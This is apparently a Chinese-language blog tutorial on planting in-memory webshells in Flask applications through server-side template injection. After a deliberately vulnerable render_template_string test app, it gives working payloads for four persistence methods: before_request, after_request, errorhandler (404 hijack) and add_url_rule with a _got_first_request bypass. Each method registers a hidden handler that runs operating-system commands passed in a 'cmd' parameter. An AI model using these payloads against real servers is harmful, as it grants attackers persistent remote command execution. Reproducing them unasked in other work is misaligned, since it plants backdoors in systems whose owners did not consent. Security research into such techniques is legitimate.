文章目录
- 参考文章
- 环境搭建
- before_request方法构造内存马
- after_request方法构造内存马
- errorhandler方式构造内存马
- add_url_rule方式构造内存马
参考文章
https://www.mewo.cc/archives/10/
https://www.cnblogs.com/gxngxngxn/p/18181936
前人栽树, 后人乘凉
大佬们太nb了, 直接跟着大佬们的思路学习了一波
打内存马的方式有很多, 仅仅跟着大佬们的博客学了一下这四种
环境搭建
随时根据需要修改一下展示出回显, 或者开启调试
from flask import Flask, request,render_template, render_template_string
app = Flask(__name__)
@app.route('/', methods=["POST"])
def template():
template = request.form.get("code")
result=render_template_string(template)
print(result)
if result !=None:
return "OK"
else:
return "error"
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=8000)
before_request方法构造内存马
from flask import Flask, request, g
import time
app = Flask(__name__)
@app.before_request
def before_request():
# 这里的代码将在每个请求处理之前执行
g.start_time = time.time() # 记录请求开始的时间
print("This runs before each request.")
@app.route('/')
def index():
# 这是处理主页请求的视图函数
return "Hello, World!"
if __name__ == '__main__':
app.run()
这里可以看到在每次发送一个请求的时候, 在它之前都会进入before_request
这个方法的内部先执行
before_request
是 Flask 框架中的一个方法,它允许你在每次 HTTP 请求到达视图函数之前执行特定的代码
跟进这个函数内部
可以看到before_request实际上调用的是 self.before_request_funcs.setdefault(None, []).append(f)
self.before_request_funcs.setdefault(None, []): before_request_funcs 是一个字典,用来存储不同蓝图(或应用程序级别)的 before_request 函数列表。setdefault 方法确保了当键 None 不存在时,会创建一个空列表作为其值。这里 None 代表应用级别的 before_request 函数。 .append(f): 将传入的函数 f 添加到 before_request 函数列表中,这意味着该函数会在每个请求开始前被执行。f就是访问值,也是我们可以自定义的,那么这里只要我们设置f为一个匿名函数,这样每次发起请求前,都会触发一个这个匿名函数了 return f: 返回原始函数 f,这使得装饰器可以用作函数修饰,而不会改变函数本身的行为。
构造payload
{{url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda+:__import__('os').popen('echo xpw').read())")}}
后续所有的访问结果都将变成xpw, 也就是我们所执行命令的结果
after_request方法构造内存马
与@app.before_request类似,after_request会在请求结束得到响应包之后进行操作
但是这里传入的f需要接收一个response对象,同时返回一个response对象。
但我们仅通过lambad无法对原始传进来的response进行修改后再返回,所以需要重新生成一个response对象,然后再返回这个response
self.after_request_funcs.setdefault(None, []): after_request_funcs 是一个字典,用来存储不同蓝图(或应用程序级别)的 after_request 函数列表。setdefault 方法确保了当键 None 不存在时,会创建一个空列表作为其值。这里 None 代表应用级别的 after_request 函数。 .append(f): 将传入的函数 f 添加到 after_request 函数列表中,这意味着该函数会在每个请求处理完成后被执行。 return f: 返回原始函数 f,这使得装饰器可以用作函数修饰,而不会改变函数本身的行为。 self.after_request_funcs.setdefault(None, []).append(f)传入的f就是对应的自定义函数,但这里的f需要接收一个response对象,同时返回一个response对象,所以这个是需要定义一个返回值的
构造的payload
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}
函数的内容为:
lambda resp: #传入参数
CmdResp if request.args.get('cmd') and #如果请求参数含有cmd则返回命令执行结果
exec('
global CmdResp; #定义一个全局变量,方便获取
CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read()) #创建一个响应对象
')==None #恒真
else resp) #如果请求参数没有cmd则正常返回
#这里的cmd参数名和CmdResp变量名都是可以改的,最好改成服务中不存在的变量名以免影响正常业务
在执行完payload之后, 就能够以GET的方式用cmd执行命令
errorhandler方式构造内存马
这个函数可以用于自定义404页面的回显, 利用这个函数操控404页面的返回内容
这个函数的底层调用了register_error_handler
函数 , 但是这个函数无法被调用
跟进register_error_handler
函数,可以看到他底层还调用了别的函数
这里面的参数, code就是404, exc_class是一个对象, **f **就是我们404界面的返回值
那么控制这里的两个函数_get_exc_class_and_code
和 error_handler_spec[None][code][exc_class]
就可以控制404页面的返回内容了
首先_get_exc_class_and_code
的参数code_or_exception就是传参的 404, 表示遇到404页面进行执行
然后 error_handler_spec[None][code][exc_class]
就可以控制为一个匿名函数去执行我们的恶意代码
payload
{{url_for.__globals__['__builtins__']['exec'](
"
global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()
",
{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']})}}
或者
{{ url_for.__globals__['__builtins__']['exec'](
"
app.error_handler_spec[None][404][app._get_exc_class_and_code(404)[0]] = lambda c: __import__('os').popen(request.args.get('cmd')).read() if 'cmd' in request.args.keys() else c
",
{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']}) }}
随便一个路由返回404然后都可以执行cmd
add_url_rule方式构造内存马
新版的Flask下调用add_url_rule
注册新的路由会报这样的错误
{{ url_for.__globals__['__builtins__']['exec'](
"
app.add_url_rule('/shell', 'shell', lambda: '123');
",
{'app':url_for.__globals__['current_app']})
}}
目前的版本中 Flask APP 在处理了第一个请求后又尝试对应用进行设置是不允许的,所以app._check_setup_finished
抛出了异常, 看到它的底层代码
仅仅是对_got_first_request
的值进行了一个判断, 那么现在能够访问app的上下文的情况下, 修改它的值为就可以绕过了
{{ url_for.__globals__['current_app'].__dict__ }}
可以在当前的上下文里面找到这个变量, 且它的值为true, 那么修改它的值为false就可以绕过了
payload
{{ url_for.__globals__['__builtins__']['exec'](
"
app._got_first_request=False;
app.add_url_rule('/xpw', 'xpw', lambda: '<pre>{0}</pre>'.format(__import__('os').popen(request.args.get('cmd')).read())
);
app._got_first_request=True;
",
{'request':url_for.__globals__['request'], 'app':url_for.__globals__['current_app']})}}
在 /xpw路由下就可以执行命令了看到回显了